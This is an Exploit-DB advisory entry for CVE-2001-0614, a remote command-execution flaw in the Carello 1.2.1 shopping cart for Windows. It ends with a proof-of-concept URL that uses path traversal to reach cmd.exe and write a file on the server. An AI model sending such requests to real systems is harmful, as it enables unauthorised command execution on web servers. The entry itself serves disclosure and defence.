Pacific Software Carello 1.2.1 Shopping Cart Command Execution Vulnerability

2001-05-14T00:00:00
ID EDB-ID:20850
Type exploitdb
Reporter Peter Gründl
Modified 2001-05-14T00:00:00

Description

Pacific Software Carello 1.2.1 Shopping Cart Command Execution Vulnerability. CVE-2001-0614 . Remote exploit for windows platform

                                        
                                            source: http://www.securityfocus.com/bid/2729/info

It is possible for a remote user to execute arbitrary commands on a host using Carello Shopping Cart software. A specially crafted HTTP request could cause inetinfo.exe to consume all available system resources, refusing any new connections. If arbitrary code is part of the HTTP request, it will be executed with the privileges of the web server.

http://foo.org/scripts/Carello/Carello.dllCARELLOCODE=SITE2&VBEXE=C:\..\winnt\system32\cmd.exe20/c20echo20test>c:\defcom.txt